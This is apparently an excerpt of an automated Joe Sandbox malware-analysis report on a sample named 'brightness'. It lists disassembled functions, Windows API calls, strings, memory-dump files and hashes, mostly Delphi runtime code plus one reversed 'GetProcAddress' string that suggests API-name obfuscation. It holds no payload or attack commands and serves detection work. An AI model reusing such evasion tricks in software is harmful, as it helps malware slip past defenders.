                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 0e002b26f6a8d93b15f6b1e3d75dfc211822e6c8fac250ba06e4d1a1fecda0df
                                                                                                                                                            • Instruction ID: cd397babba7f66eb2f3f365372ac77495c2686ddc38262b456dcd1a7f655aa70
                                                                                                                                                            • Opcode Fuzzy Hash: 0e002b26f6a8d93b15f6b1e3d75dfc211822e6c8fac250ba06e4d1a1fecda0df
                                                                                                                                                            • Instruction Fuzzy Hash: 7851F66A80D3D28FC7438F7488643917FF1AF13665B0E01DAC8948F4A3D369599ADB12
                                                                                                                                                            Function 028320C4 Relevance: .1, Instructions: 94COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
                                                                                                                                                            • Instruction ID: d9ca5c35b085eece62e9f9345e2df5b5b2dbbbf6d6fdc43b5a6e4acac797e09a
                                                                                                                                                            • Opcode Fuzzy Hash: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
                                                                                                                                                            • Instruction Fuzzy Hash: 44317E3213659B4EC7088B3CC8514ADAB93BE937353A843B7C071CB5D7D7B5A26E8290
                                                                                                                                                            Function 0283D214 Relevance: 42.1, APIs: 1, Strings: 23, Instructions: 141COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • GetModuleHandleA.KERNEL32(oleaut32.dll), ref: 0283D21D
                                                                                                                                                              • Part of subcall function 0283D1E8: GetProcAddress.KERNEL32(00000000), ref: 0283D201
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: AddressHandleModuleProc
                                                                                                                                                            • String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
                                                                                                                                                            • API String ID: 1646373207-1918263038
                                                                                                                                                            • Opcode ID: 6d1f206e252167347e941985f15385ecdaacf8dfbcfb26eaf99b84c2ed743c9a
                                                                                                                                                            • Instruction ID: ee1b519ce8cc53fd7a47846d70c711306e4c4a6329b6a7d6d8613ba89ef5890a
                                                                                                                                                            • Opcode Fuzzy Hash: 6d1f206e252167347e941985f15385ecdaacf8dfbcfb26eaf99b84c2ed743c9a
                                                                                                                                                            • Instruction Fuzzy Hash: 88410F6D9852086B560B6BAD740042BFFDED7C87203A4C41BFA04DB744DDF0BD594AEA
                                                                                                                                                            Function 02846E58 Relevance: 24.5, APIs: 7, Strings: 7, Instructions: 32libraryloaderCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • GetModuleHandleA.KERNEL32(ole32.dll), ref: 02846E5E
                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,CoCreateInstanceEx), ref: 02846E6F
                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 02846E7F
                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,CoAddRefServerProcess), ref: 02846E8F
                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,CoReleaseServerProcess), ref: 02846E9F
                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,CoResumeClassObjects), ref: 02846EAF
                                                                                                                                                            • GetProcAddress.KERNEL32 ref: 02846EBF
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: AddressProc$HandleModule
                                                                                                                                                            • String ID: CoAddRefServerProcess$CoCreateInstanceEx$CoInitializeEx$CoReleaseServerProcess$CoResumeClassObjects$CoSuspendClassObjects$ole32.dll
                                                                                                                                                            • API String ID: 667068680-2233174745
                                                                                                                                                            • Opcode ID: 7a98a98b2a7881bcf359bf67d752de142c22929c404a0c36fd7643cd8b57164f
                                                                                                                                                            • Instruction ID: 8354288c0052c25536667881d4c47c9193259bfed2f337bf16dcb789f3e3fd01
                                                                                                                                                            • Opcode Fuzzy Hash: 7a98a98b2a7881bcf359bf67d752de142c22929c404a0c36fd7643cd8b57164f
                                                                                                                                                            • Instruction Fuzzy Hash: 54F098ECA847397FB3037F799C818272A9DA911A843101825B402E5A43FF7D85204BA6
                                                                                                                                                            Function 02832530 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 254windowCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • MessageBoxA.USER32(00000000,?,Unexpected Memory Leak,00002010), ref: 028328CE
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: Message
                                                                                                                                                            • String ID: $ bytes: $7$An unexpected memory leak has occurred. $String$The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak$Unknown
                                                                                                                                                            • API String ID: 2030045667-32948583
                                                                                                                                                            • Opcode ID: 452328d32743a9ed4e1fa2e2287935ec56f9009a72f59bd227ba62f342e018aa
                                                                                                                                                            • Instruction ID: 7aadf08f899fde738ecdb46a7d4f722feaf40c2f76b1d0daaf748deafe315b4f
                                                                                                                                                            • Opcode Fuzzy Hash: 452328d32743a9ed4e1fa2e2287935ec56f9009a72f59bd227ba62f342e018aa
                                                                                                                                                            • Instruction Fuzzy Hash: 36A1E73CA042648BDF22AA2CCC80B9876E5EB09714F1441E5DD4DDB28ADB759D89CFD1
                                                                                                                                                            Function 0283252E Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 188COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Strings
                                                                                                                                                            • 7, xrefs: 028326A1
                                                                                                                                                            • bytes: , xrefs: 0283275D
                                                                                                                                                            • Unexpected Memory Leak, xrefs: 028328C0
                                                                                                                                                            • An unexpected memory leak has occurred. , xrefs: 02832690
                                                                                                                                                            • The unexpected small block leaks are:, xrefs: 02832707
                                                                                                                                                            • , xrefs: 02832814
                                                                                                                                                            • The sizes of unexpected leaked medium and large blocks are: , xrefs: 02832849
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID: $ bytes: $7$An unexpected memory leak has occurred. $The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak
                                                                                                                                                            • API String ID: 0-2723507874
                                                                                                                                                            • Opcode ID: 307804e9ce5726b5b5d16bb82acdb099c64d235aa66def06a7c01f6e0d88ffea
                                                                                                                                                            • Instruction ID: 6d7a8cceb799b7d1a62fc40c1412b3ae31e2657fbf4d1eba4ba9d4be3792f6fc
                                                                                                                                                            • Opcode Fuzzy Hash: 307804e9ce5726b5b5d16bb82acdb099c64d235aa66def06a7c01f6e0d88ffea
                                                                                                                                                            • Instruction Fuzzy Hash: 7A71B53CA042A88EDB22AA2CCC84BD8B6E5FB09714F1041E5D94DDB289DBB54DC5CF91
                                                                                                                                                            Function 0283BD40 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201threadCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • GetThreadLocale.KERNEL32(00000000,0283C00B,?,?,00000000,00000000), ref: 0283BD76
                                                                                                                                                              • Part of subcall function 0283A744: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0283A762
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: Locale$InfoThread
                                                                                                                                                            • String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
                                                                                                                                                            • API String ID: 4232894706-2493093252
                                                                                                                                                            • Opcode ID: e387c228e00c7ae84af1e26c5221565a626374782c467a4fd7af0f5fd72d79f3
                                                                                                                                                            • Instruction ID: 904811851741db354d1b525006af48e229712309dde1ac25e41f51703ed91ee9
                                                                                                                                                            • Opcode Fuzzy Hash: e387c228e00c7ae84af1e26c5221565a626374782c467a4fd7af0f5fd72d79f3
                                                                                                                                                            • Instruction Fuzzy Hash: 2961723DB002499BDB07EBA8D8A0A9FB7B7DB48300F109435D241EB745CA79D9099BD2
                                                                                                                                                            Function 0284AE18 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 102COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • IsBadReadPtr.KERNEL32(?,00000004), ref: 0284AE38
                                                                                                                                                            • GetModuleHandleW.KERNEL32(KernelBase,LoadLibraryExA,?,00000004,?,00000014), ref: 0284AE4F
                                                                                                                                                            • IsBadReadPtr.KERNEL32(?,00000004), ref: 0284AEE3
                                                                                                                                                            • IsBadReadPtr.KERNEL32(?,00000002), ref: 0284AEEF
                                                                                                                                                            • IsBadReadPtr.KERNEL32(?,00000014), ref: 0284AF03
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: Read$HandleModule
                                                                                                                                                            • String ID: KernelBase$LoadLibraryExA
                                                                                                                                                            • API String ID: 2226866862-113032527
                                                                                                                                                            • Opcode ID: 3b9c99411079d94161202a36cac2dccca9e9d0c9eddd0d93515469b0ae116070
                                                                                                                                                            • Instruction ID: c962fd0aae280dee3e1595caafe2af9485ec16a94ee633f00be75f13d8922567
                                                                                                                                                            • Opcode Fuzzy Hash: 3b9c99411079d94161202a36cac2dccca9e9d0c9eddd0d93515469b0ae116070
                                                                                                                                                            • Instruction Fuzzy Hash: 163162BD680209BBEB14DF6CCC95F5A77A8AF04768F044510FA58DF281EB34E940CBA5
                                                                                                                                                            Function 0283432C Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,?,00000000,?,028343F3,?,?,028917C8,?,?,0285E7A8,0283655D,0285D30D), ref: 02834365
                                                                                                                                                            • WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,028343F3,?,?,028917C8,?,?,0285E7A8,0283655D,0285D30D), ref: 0283436B
                                                                                                                                                            • GetStdHandle.KERNEL32(000000F5,028343B4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,028343F3,?,?,028917C8), ref: 02834380
                                                                                                                                                            • WriteFile.KERNEL32(00000000,000000F5,028343B4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,028343F3,?,?), ref: 02834386
                                                                                                                                                            • MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 028343A4
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: FileHandleWrite$Message
                                                                                                                                                            • String ID: Error$Runtime error at 00000000
                                                                                                                                                            • API String ID: 1570097196-2970929446
                                                                                                                                                            • Opcode ID: 5bd001a549db5c2d8d55a62a0dc473c2750efabe17ea7081d5f4ff51a9cfeb51
                                                                                                                                                            • Instruction ID: 1d7e8d07438f12b6587c0b80b67c70ffce2d67df4495449314c474dead214a81
                                                                                                                                                            • Opcode Fuzzy Hash: 5bd001a549db5c2d8d55a62a0dc473c2750efabe17ea7081d5f4ff51a9cfeb51
                                                                                                                                                            • Instruction Fuzzy Hash: 99F0906DAC434479FA12B768AC09F9D275C5B54F25F584A05B728E54C087F890C48BE7
                                                                                                                                                            Function 0283AE44 Relevance: 10.6, APIs: 7, Instructions: 56filewindowCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                              • Part of subcall function 0283ACBC: VirtualQuery.KERNEL32(?,?,0000001C), ref: 0283ACD9
                                                                                                                                                              • Part of subcall function 0283ACBC: GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0283ACFD
                                                                                                                                                              • Part of subcall function 0283ACBC: GetModuleFileNameA.KERNEL32(02830000,?,00000105), ref: 0283AD18
                                                                                                                                                              • Part of subcall function 0283ACBC: LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 0283ADAE
                                                                                                                                                            • CharToOemA.USER32(?,?), ref: 0283AE7B
                                                                                                                                                            • GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,?,?), ref: 0283AE98
                                                                                                                                                            • WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,?,?), ref: 0283AE9E
                                                                                                                                                            • GetStdHandle.KERNEL32(000000F4,0283AF08,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 0283AEB3
                                                                                                                                                            • WriteFile.KERNEL32(00000000,000000F4,0283AF08,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 0283AEB9
                                                                                                                                                            • LoadStringA.USER32(00000000,0000FFEA,?,00000040), ref: 0283AEDB
                                                                                                                                                            • MessageBoxA.USER32(00000000,?,?,00002010), ref: 0283AEF1
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: File$HandleLoadModuleNameStringWrite$CharMessageQueryVirtual
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 185507032-0
                                                                                                                                                            • Opcode ID: afe93563a03406f422ba4acc5b057d4042c93e41bf501da6c982710ef8a03ccb
                                                                                                                                                            • Instruction ID: 4a3197cbefb70b90d94adffd76d8d8ed89f386ef7dab874561a2b4aef9602cc2
                                                                                                                                                            • Opcode Fuzzy Hash: afe93563a03406f422ba4acc5b057d4042c93e41bf501da6c982710ef8a03ccb
                                                                                                                                                            • Instruction Fuzzy Hash: 201170BE5482047AD202EBACCC84F9B77EDAB44340F400A19B794D61D0EA74E9448BAB
                                                                                                                                                            Function 0283E50C Relevance: 9.1, APIs: 6, Instructions: 139COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 0283E5A5
                                                                                                                                                            • SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 0283E5C1
                                                                                                                                                            • SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 0283E5FA
                                                                                                                                                            • SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 0283E677
                                                                                                                                                            • SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 0283E690
                                                                                                                                                            • VariantCopy.OLEAUT32(?,00000000), ref: 0283E6C5
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: ArraySafe$BoundIndex$CopyCreateVariant
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 351091851-0
                                                                                                                                                            • Opcode ID: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
                                                                                                                                                            • Instruction ID: 42b550e251230eab46b49b95e46f6e735413850a7c84e6d6b3cc289f3b6de8d8
                                                                                                                                                            • Opcode Fuzzy Hash: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
                                                                                                                                                            • Instruction Fuzzy Hash: BD51C67D9016299BCB22DB58CC80BD9B3BDAF4D304F0441D5EA09E7216DB70AF858FA5
                                                                                                                                                            Function 02833568 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registryCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 0283358A
                                                                                                                                                            • RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,028335D9,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 028335BD
                                                                                                                                                            • RegCloseKey.ADVAPI32(?,028335E0,00000000,?,00000004,00000000,028335D9,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 028335D3
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: CloseOpenQueryValue
                                                                                                                                                            • String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
                                                                                                                                                            • API String ID: 3677997916-4173385793
                                                                                                                                                            • Opcode ID: 8029c029ec102b1befa72643de981d810a7b76d32686c9a9c6af198e7ea11170
                                                                                                                                                            • Instruction ID: 78b604fdc220d0ef95323b7d7b2111dece82f12b08b17b776071228adc120f7e
                                                                                                                                                            • Opcode Fuzzy Hash: 8029c029ec102b1befa72643de981d810a7b76d32686c9a9c6af198e7ea11170
                                                                                                                                                            • Instruction Fuzzy Hash: F501B57E940318BAEB12DB90CD02BBD77ECEB08B10F1005A1FA04D6680F678A610DAD9
                                                                                                                                                            Function 028480C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44libraryloaderCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02848148,?,?,00000000,00000000,?,02848061,00000000,KernelBASE,00000000,00000000,02848088), ref: 0284810D
                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02848113
                                                                                                                                                            • GetProcAddress.KERNEL32(?,?), ref: 02848125
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: AddressProc$HandleModule
                                                                                                                                                            • String ID: Kernel32$sserddAcorPteG
                                                                                                                                                            • API String ID: 667068680-1372893251
                                                                                                                                                            • Opcode ID: 21e491190d42c769f91ff813b7f8646dda5a3a90a9662783e9b74b9a3a2fbe63
                                                                                                                                                            • Instruction ID: 139e6bc143e9c260f82f558c1ce89e81bbaa64bbb4400efd062b3039b4f526dc
                                                                                                                                                            • Opcode Fuzzy Hash: 21e491190d42c769f91ff813b7f8646dda5a3a90a9662783e9b74b9a3a2fbe63
                                                                                                                                                            • Instruction Fuzzy Hash: FF01D63CA4030CBFE702EFA8DC41E5EB7EEEB49710F514861F900D7750EA74A9049A55
                                                                                                                                                            Function 0283A9D0 Relevance: 7.6, APIs: 5, Instructions: 50threadCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • GetThreadLocale.KERNEL32(?,00000000,0283AA67,?,?,00000000), ref: 0283A9E8
